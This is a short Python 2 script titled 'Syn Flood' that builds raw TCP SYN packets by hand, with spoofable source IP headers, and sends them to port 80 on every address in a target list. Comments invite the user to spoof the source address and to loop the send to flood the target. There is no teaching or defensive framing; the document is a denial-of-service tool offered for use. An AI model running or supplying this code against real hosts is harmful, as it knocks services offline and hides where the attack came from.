Syn Flood

'''
 @Title Syn Flood
 @Author Tuxedo
'''
# some imports
import socket, sys
from struct import *

if len(sys.argv) < 3:
    print sys.argv[0], ' <Destination IP List FIle> <Source IP Address>',
    sys.exit()
dest_file = sys.argv[1]
source_ip = sys.argv[2]


# checksum functions needed for calculation checksum
def checksum(msg):
    s = 0
    # loop taking 2 characters at a time
    for i in range(0, len(msg), 2):
        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
        s = s + w
    s = (s>>16) + (s & 0xffff);
    #s = s + (s >> 16);
    #complement and mask to 4 byte short
    s = ~s & 0xffff
    return s

#create a raw socket
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
    print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()

# tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

dfile = open(dest_file,"r")
for dest_ip in dfile.readlines():
    # now start constructing the packet
    packet = '';

    # ip header fields
    ihl = 5
    version = 4
    tos = 0
    tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??
    id = 54321  #Id of this packet
    frag_off = 0
    ttl = 255
    protocol = socket.IPPROTO_TCP
    check = 10  # python seems to correctly fill the checksum
    saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
    daddr = socket.inet_aton ( dest_ip )

    ihl_version = (version << 4) + ihl

    # the ! in the pack format string means network order
    ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

    # tcp header fields
    source = 1234   # source port
    dest = 80   # destination port
    seq = 0
    ack_seq = 0
    doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
    #tcp flags
    fin = 0
    syn = 1
    rst = 0
    psh = 0
    ack = 0
    urg = 0
    window = socket.htons (5840)    #   maximum allowed window size
    check = 0
    urg_ptr = 0

    offset_res = (doff << 4) + 0
    tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)

    # the ! in the pack format string means network order
    tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)

    # pseudo header fields
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header)

    psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
    psh = psh + tcp_header;

    tcp_checksum = checksum(psh)

    # make the tcp header again and fill the correct checksum
    tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)

    # final full packet - syn packets dont have any data
    packet = ip_header + tcp_header

    #Send the packet finally - the port specified has no effect
    s.sendto(packet, (dest_ip , 0 ))    # put this in a loop if you want to flood the target